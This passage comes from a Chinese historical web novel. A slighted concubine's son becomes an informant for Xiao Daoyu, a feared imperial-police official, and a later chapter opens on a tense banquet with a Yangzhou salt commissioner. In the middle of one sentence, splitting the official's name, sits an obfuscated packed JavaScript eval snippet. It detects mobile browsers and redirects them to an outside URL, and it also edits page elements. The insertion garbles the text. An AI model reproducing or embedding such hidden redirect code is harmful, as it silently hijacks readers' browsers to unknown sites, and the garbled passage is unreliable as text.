萧道煜忽然轻笑一声。 那笑声极冷,带着某种玩味的残忍,在空旷的刑房里荡开细微的回音。他起身,玄色鹿皮靴踩在石板上,发出轻微的“嗒嗒”声,踱到陈显宗面前,停在咫尺之处。陈显宗能嗅到他身上那股奇异的冷香,似檀非檀,似梅非梅,底下却隐隐透出一丝极淡的血腥气,混在一起,教人脊背发凉。 “你递给他银子时,心里想的什么?”世子爷弯腰,金瞳逼近,那目光锐利得像要剖开人的颅骨,直视内里最不堪的念头,“可怜他?还是……嫌卢弘义给的赏钱不够,自己也想分一杯羹?” “没有!小的不敢!”陈显宗猛地抬头,猝然撞上那双妖异的金瞳,又触电般伏低身子,额头重新抵住冰冷的地面,浑身抖如筛糠,“小的只是……只是看他可怜……一个戏子,在那种地方……” “可怜?”萧道煜直起身,语气慵懒得像在谈论天气,“这世上可怜人多矣,你可怜得过来?”他踱回案后,指尖在桌面上敲了敲,那里摊开着一卷供词,墨迹犹新,“卢弘义招了,说灌酒的主意是你出的,为了讨好他,允诺事后分你三成‘润笔费’。” “他胡说!”陈显宗尖叫起来,声音劈了岔,在刑房里显得凄厉,“明明是张文瑾!是他撺掇的!那‘春风度’也是他带来的!世子爷明鉴,小的虽不成器,整日里游手好闲,可、可断不敢害人性命啊!” 他磕头如捣蒜,额角一下下撞在粗糙的石板上,“砰砰”作响,很快便青紫一片,渗出血丝。恐惧如潮水灭顶,他知道,卢家豪富,或许能打通关节;张家虽败落,到底有个做过知府的祖父,朝中尚有门生故旧。唯有他,一个伯府庶子,母亲是不得宠的姨娘,自己又文不成武不就,无权无势,是最好捏的软柿子。若被坐实了从犯,流徙三千里都是轻的,只怕…… “罢了。” 萧道煜忽地摆手,似厌了这场戏,倦了这涕泪横流的丑态。他重新靠回椅背,指尖那枚匕首鞘转了个圈,金瞳微垂,掠过陈显宗那张狼狈不堪的脸,像打量一件残缺的、沾了泥污的器物。 “卢家已打点妥当,张文瑾也认了‘劝酒不慎,致人失足’。你嘛……”他顿了顿,语气平淡无波,“伯府虽不济,到底还顶着爵位。罚银三百两,禁足三月,以儆效尤。” 陈显宗呆住了,伏在地上的身子僵直,几乎不敢相信自己的耳朵。直到狱卒上前,将他从地上拖起来,冰冷的镣铐重新锁回手腕,他才恍然回神——逃过一劫了。 可心底没有半分庆幸,只有劫后余生的虚脱,四肢百骸都软绵绵的使不上力。以及一种冰冷的、慢慢浸入骨髓的清醒。他看明白了,方才那一幕幕,世子爷的每一句问话,每一个眼神,不过是随手摆弄的棋局。卢家的银子、张家的关系、伯府那点可怜的面子,皆在这位北镇抚司镇抚使的指掌间权衡掂量。而他陈显宗,连做一枚棋子的资格都勉强,不过是权衡利弊后,被暂时搁置的弃子。 他也看清了卢弘义与张文瑾的供词——白纸黑字,互相攀咬,竭力将他这最弱者推出去顶罪。往日画舫上称兄道弟、赌桌上推杯换盏、戏园里共赏清歌妙舞,原来大难临头时,不过如此。 狱卒押着他往回走。再次穿过那条幽深的甬道时,陈显宗抬起头,望向头顶那方铁栅漏下的、灰蒙蒙的天光。六月的热气与牢狱的阴湿混在一起,凝成水珠挂在栅栏上,滴落时带着铁锈的腥气。那光依旧惨淡,此刻在他眼里,却仿佛淬了冰的刀锋,寒冽,却也无比真实。 回到永安伯府时,已是申末时分。暮色四合,府门前那对石狮子蹲在渐浓的阴影里,面目模糊。门房见是他,眼神躲闪,只匆匆开了侧门,连声“三爷”都叫得含糊。 陈显宗踏进府门,那股熟悉的、混合了檀香、脂粉与陈旧木头的气息扑面而来。往日只觉得沉闷压抑,此刻经历诏狱那污浊腥气,竟觉出几分虚幻的安宁。他径直往自己住的静蕤轩走,只想洗去一身晦气,蒙头睡上一觉。 还未到月洞门,便见王夫人身边的大丫鬟翡翠迎面走来,板着脸道:“三爷,老爷和夫人请您去懋德堂。” 该来的,终究躲不过。 懋德堂内灯火通明,永安伯陈敬元端坐主位,脸色铁青,美髯随着胸口剧烈的起伏微微颤抖。王夫人坐在下首,手中捻着一串翡翠佛珠,面色沉静,只眼底深处掠过一丝不易察觉的厌烦。嫡兄陈显祖侍立在一旁,一身簇新的宝蓝直裰,袖口熏着清淡的兰芷香,眉头微蹙,目光落在陈显宗身上,带着毫不掩饰的责备。 陈敬元见陈显宗进来,“啪”地一声,将一沓北镇抚司的文书狠狠摔在他面前。纸页锋利的边缘划过脸颊,留下细小的血痕,火辣辣地疼。 “孽障!不成器的东西!”伯爷的声音因愤怒而拔高,在空旷的厅堂里嗡嗡回响,“伯府的脸都让你丢尽了!结交匪类,流连下九流的戏园子,如今竟牵扯上人命官司!你可知今日早朝,多少同僚看为父的眼神?可知御史台已拟了折子,要参我治家不严、纵子行凶!” 陈显宗跪在冰凉的金砖地上,垂首不语。脸颊的疼,远不及心头的麻木。他盯着地上散乱的纸页,那上面朱红的官印刺得眼疼。原来他在诏狱生死一线时,父亲想的,是伯府的“脸面”,是朝堂上的“眼神”。 “老爷息怒。”王夫人缓缓开口,声音不高,却让陈敬元的怒斥暂歇。她拨弄佛珠的手指停下,目光转向陈显宗,语气凉薄如秋霜,“三哥儿年纪小,涉世未深,难免被奸人引诱。所幸北镇抚司萧世子明察秋毫,未深究其过,只小惩大诫。只是这罚银三百两……”她顿了顿,似有为难,“府里近年开支颇巨,各房用度都紧,老太太那里又常要参茸补养。这笔银子,恐怕得从三哥儿往后的月例里慢慢扣了。” 慢慢扣?陈显宗攥紧了拳,指甲深陷掌心,掐出几个弯月形的白印。他月例十两,不吃不喝也要扣两年半。静蕤轩本就用度紧张,母亲周姨娘体己有限,往后日子…… “母亲说的是。”陈显祖适时接话,上前一步,语气温和,字字却如软刀子,“三弟此次受了惊吓,往后还是收收心,多在屋里读读书。咱们这样的人家,不求闻达于诸侯,但求无过,平安是福。庶出子弟,更该谨言慎行,须知一步行差踏错,牵连的是整个家族。” 庶出子弟。 这四个字像淬了毒的针,狠狠扎进陈显宗早已千疮百孔的心。他猛地抬头,望见嫡兄眼中那抹藏不住的轻蔑与优越——那是与生俱来的、不容置疑的居高临下。这一刻,他忽然想起在北镇抚司刑房,萧道煜看他的眼神。那眼神也冷,却没有这般纯粹的鄙夷。那更像是在审视一件工具,评估其是否可用,有无价值,而非彻底否定其存在的资格。 一个念头,野草般从心底最荒芜的角落钻出来,起初只是一点绿意,随即疯狂滋长,缠绕住他冰冷的四肢百骸。 他要活下去,不能像现在这样活。 罚银的事,最终还是周姨娘掏空了体己。 她将嫁妆里一对赤金镶宝的镯子、一支碧玉玲珑簪,悄悄拿去当了。又翻出压箱底的两匹上好杭绸,托人变卖。凑足三百两银子时,她抱着那包散碎银两和几张银票,在静蕤轩的小佛堂里坐了半宿。佛前青灯如豆,映着她憔悴的侧脸,眼角细细的纹路里,蓄满了泪,却始终没有落下。 陈显宗知道后,在母亲房门外跪了整整一夜。六月初的夜,闷热无风,汗水浸透了衣衫,蚊蚋嗡嗡地扰着,膝盖硌在冰冷坚硬的石板上,渐渐失去知觉。他咬着牙,一声不吭。直到天光微亮,周姨娘开门出来,见儿子形容枯槁地跪在那里,终于忍不住,抱住他失声痛哭。 “我的儿……是娘没用……护不住你……” 陈显宗反手抱住母亲颤抖的身子,眼眶酸涩,却流不出泪。他只是将脸埋进母亲带着皂角清香的衣襟里,闷声道:“娘,往后……儿子会让您过上好日子。” 静蕤轩的日子,自此愈发清苦。饭菜常是馊的,送来的冰块总是不够数,化一会儿便只剩一滩温水。下人们见风使舵,伺候得更敷衍,连原先还算忠厚的福安,也时常躲懒不见人影。陈显宗也不斥责,只默默忍着。白日里,他要么在屋里对着几本翻烂了的闲书发呆,要么就溜出府去,在街市上漫无目的地游荡。 他不再去荷花巷,不再寻那些纨绔子弟吃酒赌钱。他开始留意那些往日不屑一顾的角落:茶楼里高谈阔论的士子,酒肆里抱怨粮价的贩夫,甚至蹲在墙根晒太阳的老乞丐,他们口中的只言片语,都让他竖起了耳朵。 他也开始暗中打听萧道煜的消息。 听说卢弘义被判流徙三千里,卢贵妃在宫里哭晕过去,卢家使了金山银海打点,最终改作“监候”,困在府中不得出,形同软禁。又听说张文瑾被革了生员功名,永不叙用,张老爷子气得中风,瘫在床上口不能言,张家门前车马稀落,一派凄凉。 唯有那位萧世子,稳坐北镇抚司,权势日盛。盐案由柳含烟一条人命,牵扯出卢、张两家,又隐隐指向更深处。朝野风声鹤唳,而萧道煜的名字,越发令人闻之色变。连圣上都多有倚重,赐下“代天巡狩”的金牌,准其先斩后奏。 某日,陈显宗在西市一家不起眼的茶楼里,听见邻桌几个闲汉唾沫横飞地议论: “……你们是没瞧见!卢家那公子哥儿,在府里还摆谱呢,喝醉了打伤看守的番子!嘿,当夜萧世子就派人去了,说是‘小惩’——你们猜怎么着?第二天卢公子一条腿就折了!医匠来看,说是‘意外跌伤’!啧啧,北镇抚司的手段,神鬼莫测啊!” “活该!这些纨绔子弟,平日欺男霸女,如今踢到铁板了吧?” “要我说,萧世子这是替天行道!只是……也太狠了些。” “狠?不狠能镇得住那些魑魅魍魉?咱们小老百姓,就盼着多几个这样的人物,杀杀那些权贵的威风!” 茶客们说得眉飞色舞,语气里混杂着敬畏、痛快与一丝不易察觉的恐惧。陈显宗坐在角落阴影里,捧着一盏早已凉透的粗茶,指尖冰凉,心口却滚烫。 他看清了。在这煌煌天日之下,什么勋贵体面、诗礼传家,在绝对的强权与狠厉面前,皆是虚妄。伯府的招牌护不住他,嫡出的身份救不了他,唯有攀附更强的力量,做那强者手中一把趁手的刀,或许才能劈开这庶出的囚笼,挣出一条活路,甚至……攫取一丝翻身的可能。 萧道煜用人,似乎只问“有用无用”,不论出身贵贱。萨林是沙俄流亡的异族悍将,伊凡是家生奴才出身,皆得重用,倚为心腹。自己虽卑贱,却有一桩他们不及的好处——他是这勋贵圈子里的“自己人”,自幼耳濡目染,熟知各家脉络、阴私关节;却又因庶出而被排斥在核心之外,是个尴尬的“边缘人”。这般身份,恰能听到、看到许多嫡系子弟不屑留意、或刻意遮掩的角落。 这个认知,让他既恐惧得浑身发冷,又兴奋得战栗不已。 下定决心那夜,雨下得极大。 豆大的雨点砸在静蕤轩的瓦片上,噼啪作响,如万千战鼓擂动。檐下水线织成密密的帘幕,将小小的院落隔绝成孤岛。陈显宗跪在小佛堂里——这里原是周姨娘礼佛的净室,只容得下一人转身。供着一尊尺余高的白瓷观音,因年久失于香火供奉,菩萨低垂的眉眼上,都蒙了一层薄薄的尘灰。 他对着观音像,端端正正磕了三个头。 不是求保佑,而是告别。告别那个怯懦苟且、只会怨天尤人的庶子,告别对伯府最后一丝可笑的、关于亲情与公正的幻想,也告别心底残存的、属于少年人的柔软与良善。 磕完头,他起身,从怀里掏出一块干净的布帕,仔细拂去菩萨面上的尘埃。动作轻柔,神情却漠然。然后,他转身出了佛堂,回到自己冷清的书房。 油灯如豆,照亮书案一角。他打开锁着的抽屉,从最底层取出几样东西:一本揉得发皱的账册抄本,纸张边缘已起了毛边,上面蝇头小楷记着伯府与卢家、张家近两年几笔见不得光的银钱往来,时间、数目、经手人,一笔笔清晰;几张碎纸片,是从父亲书房外间废纸篓里偷偷捡出来的,上面有父亲与心腹幕僚密谈时随手写下的只言片语,涉及对今上某些政令的非议,对几位阁老的不满;还有一卷自己默写下的名单,是往日与那帮纨绔子弟酒酣耳热、吹牛夸口时,他们不经意透露出的各家阴私——谁家老爷子有龙阳之癖,私养小厮;谁家夫人与城外某庵堂的住持有染;谁家为了扩园子,侵吞了族中祭田;谁家暗中与晋商勾连,私贩盐铁…… 字迹歪斜,墨色深浅不一,有些地方还涂改过。像他这个人,卑微,杂乱,上不得台面。但此刻在他眼中,这些字句却仿佛淬了毒的匕首,闪着幽冷的光。 他将这些东西用油纸仔细包好,外面又裹了一层防水的蜡布,揣进贴身的怀里。那硬硬的触感抵着心口,让他有种奇异的踏实感。 次日清晨,雨歇天青。陈显宗换上了箱底最体面的一件衣裳——八成新的雨过天青色直裰,领口袖边绣着同色暗纹,浆洗得挺括。对镜整理衣冠时,他盯着镜中那张尚存几分青涩、眼底却已凝了寒霜的脸,看了许久。然后,他转身出门,没有去向周姨娘请安,也没有惊动任何下人。 北镇抚司衙门位于皇城西侧,朱漆大门,檐牙高啄,门前一对石狴犴狰狞怒目,肃杀之气扑面而来。陈显宗在街对面徘徊了整整两个时辰。看着官吏进出,看着黑鳞卫押解犯人路过,看着那扇仿佛能吞噬一切的黑沉沉的大门。六月的阳光渐渐变得灼热,晒得他后背渗出细汗,手心却一片冰凉。 终于,他深吸一口气,挺直了背脊,朝着那对狴犴石像走去。每一步,都像是踩在刀尖上。守门的番子认出了他——上次就是他来领人的。那番子眼神里掠过一丝讥诮,却并未阻拦,只懒懒抬了抬下巴,示意他进去。想必,已得了吩咐。 还是那间刑房。只是此番没有阴森可怖的刑具陈列,房中只萧道煜一人。他斜倚在窗边一张矮榻上,身上随意披着件玄色暗云纹的常服,长发未束,如墨瀑般散在肩头,手中正把玩着一枚赤玉扳指。窗外一树新绿,在初夏的微风里轻轻摇曳,却反衬得室内愈发幽暗寂静。 陈显宗踏入房中,反手轻轻掩上门。然后,他噗通一声,双膝跪地,将怀中那个油纸包双手举过头顶,喉头干涩得发紧,声音因竭力压抑颤抖而显得有些怪异: “小人陈显宗,冒死求见世子爷……有些……有些微末消息,或对爷有用。” 萧道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996015|193874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煜没回头,目光仍落在窗外那截绿枝上,只懒懒道:“讲。” 陈显宗便伏在地上,额头抵着冰冷的地面,将从怀中取出的东西一一摊开,然后,开始讲述。声音起初抖得厉害,断断续续,词不达意。但他强迫自己稳住心神,将那些隐秘一桩桩、一件件道来。伯府与卢家合股,借漕运之便私贩江南绸缎,如何偷漏税银;父亲对今上重用寒门、打压勋旧的私下怨言,具体在何时何地,与何人所说;那张名单上的各家阴私,依据何在,何人可能知晓更多…… 说到伯府那本真假账目时,他顿了顿,深吸一口气,补充道:“……账目有两本,明账在账房,记得皆是寻常开销。真本……在父亲书房,第三排书架,那套《贞观政要》的函套夹层里。用黄绫包着。” 说完最后一句,他伏地不动,维持着跪拜的姿势。额头贴着地面,能清晰感受到石板的冰冷粗糙,也能听见自己胸腔里如擂鼓般狂跳的心,以及窗外偶尔传来的、远处街市的喧嚣。时间仿佛在这一刻凝固了,每一息的流逝,都漫长如年。 不知过了多久,也许只是片刻,也许有一炷香。榻上传来一声极轻的、几乎听不真切的嗤笑。 “倒是个知趣的。” 陈显宗浑身一颤,缓缓地、极其艰难地抬起头。逆着窗外投进来的、明亮的天光,萧道煜不知何时已转过身,正看着他。那双琥珀金色的眼瞳,在昏暗的室内流转着妖异的光泽,像深潭底沉寂千年的宝石,此刻正落在他脸上。那目光依旧冷,没有温度,却不再有上次在刑房里那般纯粹的漠视与厌烦。而是带着一种评估,一种审视,一种掂量货物价值的专注,甚至……在那金瞳深处,似乎掠过一丝几不可察的、近乎兴味的东西。 “北镇抚司,”世子爷的声音依旧慵懒,指尖那枚赤玉扳指慢悠悠转了个圈,“还缺个跑腿递话、听风探信的。平日里不需点卯,有差事时自会寻你。”他顿了顿,金瞳微眯,“你若不怕死,不怕脏了手,不怕将来事发,第一个被推出去顶罪……明日辰时,便来衙门寻伊佥事点个卯罢。” “谢、谢世子爷恩典!”陈显宗猛地磕下头去,额角重重撞在冰冷的地面上,“砰”的一声闷响,他却感觉不到疼。一股滚烫的、近乎野蛮的狂喜,如火山岩浆般冲垮了心中所有堤坝,瞬间淹没了恐惧、屈辱和不安。他磕了又磕,直到萧道煜不耐地挥了挥衣袖,才恍然停住,踉跄着站起身,因跪得久了,腿脚酸麻,几乎站立不稳。他倒退着,一步一步退出刑房,眼睛始终不敢离开榻上那道玄色的身影,直到背脊触到冰冷的门板。 拉开房门,他闪身出去,反手将门轻轻掩上。隔绝了那道如有实质的目光,他才敢大口喘息。冷汗早已浸透里衣,紧贴着皮肤,冰凉粘腻。可他顾不得这些,只是抬手,用力按了按胸口——那里,心脏仍在疯狂跳动,却不再是恐惧的鼓噪,而是一种近乎新生的悸动。 踏出北镇抚司那对狴犴石像投下的阴影时,天光正盛。六月的阳光刺得他微微眯起了眼,深深吸了一口空气——里面混杂着尘土、车马扬起的烟尘、远处食摊传来的食物气息,市井街巷,活生生的味道。这气味,比伯府里熏了二十年的、死气沉沉的檀香,不知鲜活了多少倍。 他知道,从此便是另一条路了。布满荆棘,险象环生,或许永远只能行走在阴影里,永无出头之日。但这条路,是他自己选的。再不必仰人鼻息,看人脸色,不必因“庶出”二字,便被钉死在尘埃里,任人践踏。 从今往后,永安伯府的三爷陈显宗,便是北镇抚司衙署里一个不见于名册的、特殊的存在了。 此后月余,陈显宗果真成了北镇抚司一枚不起眼的暗钉。 他没有萨林那般悍勇绝伦的武艺,能于万军之中取上将首级;也无伊凡那般缜密如发的心机,能在各方势力间周旋游走;甚至不如寻常黑鳞卫番子精熟刑讯缉拿、跟踪暗杀。但他渐渐发现,自己确有一桩旁人不及的用处。 他能轻而易举混迹于那些尚未被这场风波彻底波及的勋贵子弟的酒局赌桌,听他们酒后吐露的真言,看他们眉宇间掩不住的焦虑。他能听懂那些绵里藏针的家常闲话,分辨出哪一句是炫耀,哪一句是试探,哪一句底下藏着致命的把柄。他甚至能从伯府里那些丫鬟、小厮、婆子的抱怨闲谈里,拼凑出各房夫人、姨娘们之间的明争暗斗,以及这些内宅阴私可能牵扯到的外间势力。 他成了萧道煜安插在这日渐风声鹤唳的旧勋贵圈子里的一只“耳朵”,一只“眼睛”。不起眼,卑微,却自有其不可替代的用处。 他比任何人都更卖力,更像抓住救命稻草的溺水者。递送消息总抢在最前,哪怕深更半夜;打探风声常彻夜不眠,混迹于茶楼酒肆,与三教九流搭话;对伊凡传达的、萧道煜的任何指令,都执行得一丝不苟,甚至主动去揣摩、去钻营,竭力想做得更多、更好。他知道自己无路可退,身后是庶子的万丈深渊,眼前唯有这根看似冰冷无情、却足够粗壮有力的“大腿”。唯有死死抱住,抓牢,才能在这吃人的世道里,挣得一块立足之地,甚至……有朝一日,能让那些曾将他视如敝履、踩在脚下的人,也尝尝被迫仰视的滋味。 静蕤轩的周姨娘,最先察觉儿子的变化。 人依旧是那个人,依旧沉默寡言,早出晚归。但眼神不一样了。往日那双眼睛里总是涣散的、怯懦的,带着对周遭一切的茫然与逃避。如今那眼底却凝着一股子冷硬的劲儿,像被寒冰淬过的铁,沉静,锋利,偶尔掠过时,竟让她这个做母亲的,心头微微一悸。 月例银子又开始按时交回她手中,虽不多,却再不是从前那般伸手索取、甚至偷偷变卖她首饰的模样。她问儿子在忙什么,陈显宗只含糊道:“寻了些门路,替人跑腿办事,挣些辛苦钱。”再问,便不说了。 周姨娘对着佛堂里那尊拭净了尘埃的观音像,默默诵经的时间更长了。她求佛祖保佑这苦命的孩子,莫要因一时困顿,走上更险的歧路。可看着儿子日渐挺直的背脊,眼中越来越盛的暗火,她又隐约觉得,那条路,或许早已不是她能劝阻的了。 而伯府里的其他人,包括永安伯陈敬元与王夫人,只觉这庶子愈发阴郁孤僻,整日不见人影,却也乐得清静,眼不见心不烦。唯有嫡兄陈显祖,某次家宴上,见陈显宗安静坐在末席,默默吃饭,忽然开口,语气半是玩笑半是探究: “三弟近日忙些什么?总不见人影。听门房说,时常深夜方归。” 席间微微一静。众人都看向陈显宗。 陈显宗正夹起一箸糟鹌鹑,闻言手顿了顿,抬眼,看向主位上的父亲和嫡兄,脸上缓缓露出一个极淡的、近乎谄媚的、却让人看不出真切情绪的笑: “不过是……在外面寻些旁门左道的营生,混口饭吃,免得总拖累家里。不比大哥,光风霁月,前途无量。” 陈显祖皱了皱眉。他觉得三弟这笑容有些刺眼,那语气也听着古怪,却又说不出具体哪里不对。见他如此“识趣”地自承“旁门左道”、“混饭吃”,倒也不好再深究下去,只淡淡“嗯”了一声,转开了话题。 席间丝竹声又起,觥筹交错,言笑晏晏。将这微不足道的插曲,淹没在勋贵之家永恒的、浮于表面的繁华与祥和里。 无人知晓,他们眼中那个不成器、可有可无的庶子,已悄然挣破那层锦绣编织的、令人窒息的囚笼,踏入了一片更为幽深诡谲、杀机四伏的天地。在那里,他是棋子,是工具,是暗钉,是无数卑微信仰与毒辣野心的混合体。他屏着呼吸,踮着脚尖,开始学习在阴影中行走,在刀尖上舞蹈。 而这场棋局高坐云端的执子者,此刻正于北镇抚司后衙的高阁之上,凭窗远眺。暮色四合,将京城万千屋宇染成一片沉郁的黛青。 萧道煜金瞳映着天际最后一抹残霞,流光潋滟深处,掠过一丝冰凉玩味的弧度。 “伊凡。” “臣在。”阴影中,伊凡悄无声息地现身,月白锦衣纤尘不染。 “陈显宗今日递来的消息,关于永昌侯府那些陈年旧债……”萧道煜声音轻缓,“你去核实一番。若属实……”他顿了顿,没有说下去。 伊凡躬身:“臣明白。”他稍作迟疑,又道,“只是……世子,此人可用,却不可信。庶子心性,最易反复,今日能卖父族,他日……” “本世子知道。”萧道煜打断他,目光依旧投向窗外沉沉暮色,唇角那丝弧度却加深了些,“正因如此,用起来才不必顾忌。且看看……这枚自以为聪明的棋子,究竟能走到哪一步,又能……掀起多大风浪。” 伊凡垂首,不再多言,悄然退入阴影。 窗外,暮云彻底吞没了最后的天光,六月的暖风掠过屋脊,带着白日残留的燥热,却也预示着一场夏夜骤雨将至。 15. 第 15 章 七月的扬州,暑气蒸腾,烈日如火,将运河两岸烘烤得一片白亮。运河水汽被热气蒸得氤氲上升,终日笼着一层颤动的薄雾,将画舫朱桥、亭台楼阁都晕染得晃动摇曳,似真似幻。沿河垂柳倒是蓊蓊郁郁,浓密的绿绦沉沉垂在泛着粼光的河面上,纹丝不动,只有知了在枝叶间嘶鸣不绝。 钦差官船在黄昏时分抵达钞关码头。船身吃水颇深,玄色船帆上绣着狰狞的狴犴图腾,桅杆顶端悬着一面明黄旗,上书“代天巡狩”四个斗大墨字。船未靠岸,码头上早已黑压压跪了一片人。扬州府衙大小官员、两淮盐运使司属吏、乃至本地有头脸的盐商,皆着了簇新的官服或锦袍,在灼人的暮气与蒸腾的热浪中垂首屏息,鸦雀无声,额上颈间的汗珠却不断滚落,浸湿了衣领。 萧道煜由萨林搀扶着,步下跳板。 她只着一袭月白素罗长衫,料子轻薄,却被汗水浸得贴在了身上,勾勒出清癯而略显单薄的身形。面色较离京时更为苍白,唇色淡得几乎与脸色融为一体,唯有一双琥珀金瞳,在夕阳余晖中依旧亮得惊人,目光淡淡扫过码头跪伏的众人,无喜无悲,却令所有接触到她视线的人,心头俱是一凛,仿佛一阵冰水浇灭了周身的燥热。 “下官沈济川,恭迎钦差大人。”为首一名身着绯色孔雀补子官服、体态微胖的中年官员疾步上前,深深一揖,声音洪亮,透着十二分的恭谨,胖脸上油光满面,不知是热汗还是冷汗,“大人舟车劳顿,下官已在寒舍略备薄酒,为大人接风洗尘,万望赏光。” 这便是都转运盐使沈济川了。面皮白净,蓄着修剪整齐的短须,一双眼睛笑得眯成了缝,看上去一团和气。只是那眼底深处一闪而过的精光,未曾逃过萧道煜的眼睛。 “沈大人有心了。”萧道煜声音不高,带着长途跋涉后的些许倦意与暑气熏蒸的喑哑,却字字清晰,“本官奉旨查案,本不该叨扰。只是有些话,需与沈大人当面请教,便恭敬不如从命了。” “不敢当‘请教’二字,大人垂询,下官知无不言。”沈济川姿态放得极低,侧身引路,“大人请,轿子已备好了。” 萧道煜颔首,在萨林的搀扶下,坐进一顶八人抬的凉轿。轿帘是透气的湘竹细帘,轿内四角搁着盛冰的铜盆,丝丝凉气透出。轿帘落下前,她瞥了一眼码头旁肃立的黑鳞卫,以及远处漕运总督府派来的仪仗——盔明甲亮,在烈日下反着刺目的光,排场十足。她唇角掠过一丝几不可察的讥诮,闭上了眼。 轿子起行,还算平稳。轿内熏着清心静气的苏合香,混合着冰块的凉意,稍稍驱散了江南盛夏的闷热。萧道煜却觉得胸口有些发闷,那香气在燥热中显得格外甜腻,反而令人不适。 她自怀中取出斐兰度给的药玉瓶,倒出一小撮淡褐色的药散,就着轿内小几上冰镇着的酸梅汤服下。苦涩的药味在舌尖化开,很快,一股温热的暖流自丹田升起,缓缓抚平腹中的抽痛。她靠在柔软的锦垫上,听着轿外不绝于耳的蝉鸣,和扬州城华灯初上时隐约传来的市井喧嚣,心中一片冰凉的清明。 这场宴,是鸿门宴。沈济川这老狐狸,摆下的是温柔乡,亦是鬼门关。 沈济川的“寒舍”,便是扬州城西大名鼎鼎的沁芳园。 此园乃前朝一位致仕盐商所建,叠山理水,极尽巧思,后几经易手,如今成了沈济川的私邸。园内亭台楼阁参差错落,回廊曲径通幽,虽是盛夏,却因引活水入园,遍植高大乔木,显得清凉不少。各处点缀着应时的茉莉、白兰、荷花,暗香浮动。夜幕降下,园中各处早早挂起琉璃绣球灯、水晶玻璃风灯,映得飞檐斗拱流光溢彩,湖面倒影摇曳生辉,恍若仙境,试图以繁华掩盖白日遗留的燥热。 接风宴设在园中最大的水阁“涵虚堂”内。三面环水,以曲折的回廊与岸相连。水阁四面的雕花长窗皆已支起,夜风穿堂而过,带着水汽的微凉。阁内早已铺陈开来:地上是清凉的竹席,四角立着鎏金蟠龙铜烛台,手臂粗的明烛燃得正旺,将室内照得亮如白昼。正中一张紫檀木嵌螺钿的大圆桌,摆满了冰镇瓜果、精致茶点。两侧设着十二扇紫檀边座嵌玉石花卉的屏风,隔出些许私密空间。 萧道煜踏入水阁时,丝竹声恰到好处地响起。清越的琵琶,悠扬的洞箫,伴着吴侬软语的浅吟低唱,靡靡之音,绕梁不绝,试图盖过窗外池塘里聒噪的蛙鸣。席间已坐了不少人,除了沈济川及几位盐运使司的佐贰官,还有几位本地豪商作陪,皆是锦衣华服,笑容满面,手中却不约而同拿着折扇或团扇,轻轻摇动。 见钦差入席,众人忙起身见礼。萧道煜淡淡应了,在主位落座。萨林如铁塔般立在她身后半步,绿瞳警惕地扫视着四周,手始终按在腰间弯刀的刀柄上。伊凡则侍立在下首,月白锦衣在烛光下泛着柔和的光泽,低眉顺眼,仿佛只是个寻常侍从,额角却有细密的汗珠。 沈济川亲自执壶,为萧道煜斟上一杯酒。酒色澄碧,香气清冽,乃是江南有名的“荷叶露”,用鲜荷叶蒸露酿成,冰镇后饮用,最是解暑。 “大人请。”沈济川举杯,笑容可掬,“此乃下官家酿,取今夏第一茬荷叶蒸露所制,聊表寸心。愿大人此番南下,诸事顺遂。” 萧道煜端起白玉杯,指尖触感冰凉。她垂眸看着杯中琥珀色的酒液,并未立时饮下,只淡淡道:“沈大人客气。本官奉旨而来,查的是盐课积弊、黑水渡私盐猖獗之案。这酒……怕是要等公务了结,方能安心品味。” 席间气氛微微一滞,连穿堂风似乎都凝住了。 沈济川笑容不变,眼底却掠过一丝阴霾,随即哈哈一笑,用扇子轻拍掌心:“大人勤于王事,下官佩服。只是查案也不急于一时,大人远道而来,暑热难当,总该稍事歇息。今夜只谈风月,不论公务,如何?” “哦?”萧道煜抬眼,金瞳在烛火映照下流光潋滟,直直看向沈济川,“沈大人可知,京中为盐课亏空一事,已掀起多大风浪?卢家、张家,乃至更多人的前程性命,皆系于此。本官岂敢耽于风月?” 这话说得极重,且毫不留情面。席间几位官员和盐商脸上笑容都僵住了,交换着眼色,大气不敢出,只觉背后刚被凉风吹干的汗又冒了出来。 沈济川脸上的肉抽动了一下,放下酒杯,叹了口气,拿起丝帕擦了擦额角的汗:“大人明鉴。盐政之弊,积重难返,非一日之寒。下官在任上,也是战战兢兢,如履薄冰。只是漕运千头万绪,盐枭狡诈凶顽,更有地方豪强、不法胥吏上下其手……下官纵然有心肃清,也常感力不从心啊。” “力不从心?”萧道煜轻笑一声,那笑意却未达眼底,“本官离京前,翻阅近年漕运与盐课卷宗。单是去岁,经黑水渡一处,报失的官盐便有五万引之巨。沿途关卡哨所,皆报‘遭遇水匪劫掠’。沈大人,”她身体微微前倾,声音压低了些,却更显压迫,“什么样的水匪,能在一月之内,连续劫掠官盐船队七次,而沿途驻军、巡河御史,竟无一人能擒获匪首,甚至连匪徒的踪影都摸不清?” 水阁内静得可怕,只有窗外池塘里青蛙不知疲倦的鼓噪,和远处隐约的丝竹。烛火跳跃,在每个人脸上投下晃动的阴影,闷热重新聚拢。 沈济川额角渗出大颗汗珠,他端起酒杯,猛灌了一口冰酒,才勉强稳住声音:“大、大人有所不知,那黑水渡地势险要,水道错综,芦苇丛生,最易藏匿匪类。且那些盐枭……多与亡命之徒勾结,凶悍异常,动辄杀人越货。下官也曾数次调兵清剿,奈何……收效甚微。” “是吗?”萧道煜靠回椅背,指尖轻轻敲击着冰凉的桌面,发出规律的“笃笃”声,“可本官却听闻,那些所谓的‘水匪’,用的刀弓制式,与官军颇有相似之处。劫掠之时,来去如风,对漕运布防、盐船行程了如指掌。沈大人,您说……这像不像是……家贼难防?” 最后四字,她说得极慢,一字一顿,像四把烧红的铁锥,狠狠扎进沈济川心口。 沈济川脸色终于变了,白里透青,捏着酒杯的手指关节泛白,杯中冰块叮当作响。他张了张嘴,似乎想辩解,目光对上萧道煜那双仿佛能洞悉一切的金瞳,所有的话又堵在了喉咙里,只觉喉咙干得发疼。 